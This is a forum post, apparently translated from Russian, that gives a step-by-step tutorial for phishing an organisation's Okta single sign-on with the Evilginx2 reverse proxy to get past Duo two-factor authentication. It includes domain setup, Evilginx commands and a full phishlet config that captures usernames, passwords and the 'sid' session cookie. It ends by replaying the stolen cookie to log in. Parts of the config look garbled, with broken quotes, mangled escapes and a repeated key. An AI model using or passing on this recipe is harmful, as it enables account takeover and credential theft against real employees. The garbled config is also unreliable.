Learning how to bypass two-factor authentication (Google Authenticator, SMS)

Lord777

Professional
Messages
2,583
Reputation
15
Reaction score
1,228
Points
113
There are times when you need to make someone happy. It happens when the target organization has a second authentication factor configured — sms, Google authenticator, or Duo. What should I do in such cases? Hire gopniks? Cut employees ' phone numbers? No! It turns out that cunning hackers have written software that can help in this difficult situation.

Evilginx2 is a phishing framework that acts as a proxy between the victim and the site we want to get accounts from. Previously, it used custom nginx, but now it is completely rewritten in Go. It includes mini HTTP and DNS servers, which greatly facilitates installation and deployment.

How does it work? The author of the software described on its website, details on installation and configuration can be found on the github page. Why is it possible to bypass the second factor? The trick is that we do not interfere with the process of entering the code from sms / temporary password / push from DUO. We quietly wait for the user to successfully complete all the authentication steps, catch their cookie, and then use it to log in. Along the way, just in case, we collect his username and password.

In the same article, I will talk about my experience and the pitfalls that I encountered.

Task​

So, we need to sign up an office that actively uses Okta as a Single Sign-on. As the second factor, a Duo solution is used, the feature of which is in the mobile client, which allows you to confirm the second factor through regular push notifications instead of entering 35-digit codes (hello Google Authenticator). Let's get started.

Step one: register a phishing domain​

In the panel of our provider, specify the address of the server where the phishing will be located. We also register a subdomain of the formokta.<фишинговый домен>.com

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor.png


Step two-configuring Evilginx​

Running Evilginx and using the commandconfig

enter the necessary settings. Specify the main domain (not a subdomain) and its IP address.

Code:
config domain <phishing domain>. com
config ip 10.0.0.1

As a result, the config looks like this:

13a0386b0ca79b8dd164d.png


Interesting parameter here redirect_url

- it indicates where to redirect the request when the client came to the root of our domain. Why is this done? If you send a phishing page from the root, the domain will be calculated very quickly and added to the lists of dangerous sites, browsers will swear threateningly, and users will never get to us. Therefore, we will send it via a unique link, and the root will redirect to the song Never Gonna Give You Up.

Step three-setting up a phishing page​

This is where the fun begins. Since we don't actually host any content on our server at all, but only proxy requests, we need to "tell" Evilginx exactly what data we want to get. We write this "story" in a special format. Documentation on it is available on the project's wiki page. These descriptions are called phishlets. For some popular services — facebook, linkedin, amazon-they are already written and included in the distribution. We were less lucky, Okta is not supported out of the box, but good people wrote phishlet for the старой version. We take a file and start soldering.

Fill in the description, specify the phishlet name, authors, and the required version of Evilginx.

Code:
name: 'okta'
author: '@ml_siegel, updated by @hollow1'
min_ver: '2.2.0'

We specify which domain we are going to phish. In our case, we use a domain like<имя целевой компании>.okta.com

Code:
proxy_hosts:
 - {phish_sub:", orig_sub: '<target company name subdomain>', domain: 'okta.com', session: true, is_landing: true}

Parameter session

indicates that it is this domain that sends the cookies we need and that credentials are passed there,is_landing

this means that this host will be used to generate phishing URLs.

The next important step is to identify all requests to the target domain so that the proxy can successfully rewrite them to the phishing domain. If this is not done, the user will send data not to us, but directly to the original domain, and we will not catch any accounts. You only need to rewrite requests that are directly involved in the user's login process.

To clearly understand what exactly is required for successful authentication, you need to carefully study this very process. Armed with Burp and a test account, we start looking for how the password is transmitted and what cookies the application uses to determine the authorized user. We are also looking for responses from the server that contain links to the original domain.

We find a request that passes your username and password. We see that it is sent to the original domain, but we need it to go to us.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-3.png


Here you can see how the original domain returns links inside javascript. They need to be rewritten.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-4.png


After collecting this and a couple of other requests, we get the following settings::

Code:
sub_filters:
 - {triggers_on: '<target domain>.okta.com', orig_sub: '<target domain>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
 - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
 - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']}
 - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F < target domain>. okta.comx2Fuserx2Fnotifications', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']}

Key word{hostname}

it is used to replace the original domain with a phishing one. Read more about the syntax of this section here.

Remember, we need cookies that we will use to log in to the site. Through trial and error, we find out the cookie name —sid

, and add it to the settings:

Code:
auth_tokens:
 - domain: '< target domain>.okta.com'
 keys: ['sid']

We will also need the user's username and password.We have already found the request in which they are transmitted. As you can see in the request, the parameters we need areusername

and password

passed in json, appending it:

Code:
credentials:
 username:
 key: 'username'
 search: '"username":"([^"]*)'
 type: 'json'
 password:
 key: 'password'
 search: '"password":"([^"]*)'
 type: 'json'

This way, Evilginx can isolate them from requests and save them correctly.

There's not much left. Specify the URL of the login page on the target domain.

Code:
landing_path:
 - '/login/login.htm'

Specify the URL that we will use to indicate that the user has successfully logged in.

Code:
auth_urls:
 - 'app/UserHome'

That's all! The entire config:

Code:
name: 'okta'
author: '@*******, updated by @*******'
min_ver: '2.2.0'
proxy_hosts:
 - {phish_sub:", orig_sub: '<target company name subdomain>", domain: 'okta.com', session: true, is_landing: true}
sub_filters:
sub_filters:
 - {triggers_on: '<target domain>.okta.com', orig_sub: '<target domain>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
 - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
 - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']}
 - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F < target domain>. okta.comx2Fuserx2Fnotifications', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']}

Save it as okta.yaml

Code:
in/usr/share/evilginx/phishlets

Step four-enable our new phishing feature​

Run evilginx and write the command

Code:
phishlets hostname okta okta.<our phishing domain>. com

Enabling phishlet.

Code:
phishlets enable okta

A certificate from LetsEncrypt is automatically created for it.

Checking the settings:

3737fbd150a46918ce072.png


We specify where we will redirect the user after successful authorization

Code:
phishlets get-okta url https://<target domain>.okta.com/

The app will display a link that you want to send out to users in the following format:https://<phishing domain>.com/login/login.htm?rb=9ffe&ec=<unique hash>

Step 4-waiting for the catch​

We send out emails (mailing technologies are material for a separate article) and wait.

A weak, trusting user follows the link and logs in. We see it like this:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-6.png


All captured accounts are added to sessions. Select the appropriate one and copy cookies from it:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-7.png


Open the browser, substitute cookies, and voila-we're inside:

050380386c5fcef3694f1.png


Afterword​

Evilginx greatly simplifies the creation of phishing pages, especially for 2FA. It is also convenient to store and share these pages with your friends. Protection methods — use of U2F, switching to new authentication methods.

Thank you for reading this!
 
Top